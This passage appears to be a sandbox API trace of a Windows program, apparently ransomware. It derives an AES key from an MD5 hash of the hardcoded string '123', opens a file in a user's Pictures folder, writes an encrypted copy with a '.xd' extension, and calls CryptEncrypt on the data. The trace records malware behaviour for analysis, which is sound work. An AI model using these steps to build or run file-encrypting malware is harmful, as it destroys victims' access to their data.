wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.040] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.041] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.041] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.041] CryptCreateHash (in: hProv=0x17aac48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.041] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.041] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.042] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.042] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.042] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.042] CryptHashData (hHash=0x164c330, pbData=0x1629350, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.042] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.042] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.042] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.042] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.042] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0063.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0063.043] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0063.043] CryptDeriveKey (in: hProv=0x17aac48, Algid=0x6610, hBaseData=0x164c330, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6f0) returned 1 [0063.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.043] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.043] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.043] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0063.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0063.044] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0063.044] CryptDestroyHash (hHash=0x164c330) returned 1 [0063.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\vjziuan4gvbixp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0063.044] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.044] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.044] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb")) returned 0x10 [0063.045] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\vjziuan4gvbixp.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0063.083] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.083] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.083] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.083] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.085] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0063.085] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3d2f, lpOverlapped=0x0) returned 1 [0063.086] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0063.088] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.088] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.089] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.089] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0063.089] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.089] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.089] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0063.089] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.089] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0063.089] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.089] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.089] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.089] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0063.089] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0063.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0063.090] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0063.090] CryptGetKeyParam (in: hKey=0x164c6f0, dwParam=0x7, pbData=0x16294f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0063.090] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.090] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.090] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.090] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.090] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.090] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.090] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.090] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.092] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.092] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.092] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.092] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.093] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.093] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x3d2f, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x3d30) returned 1 [0063.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.093] CharLowerBuffW (in: lpsz="byte[15665]", cchLength=0xb | out: lpsz="byte[15665]") returned 0xb [0063.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.093] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.093] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.093] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.093] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.093] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.094] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.094] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1880d48*, pdwDataLen=0x130e618*=0x3d2f, dwBufLen=0x3d30 | out: pbData=0x1880d48*, pdwDataLen=0x130e618*=0x3d30) returned 1 [0063.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.094] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.094] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.094] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.094] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.094] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.095] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.095] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.095] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.095] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.095] PeekMessageW (in: lpMsg=0x130f164, 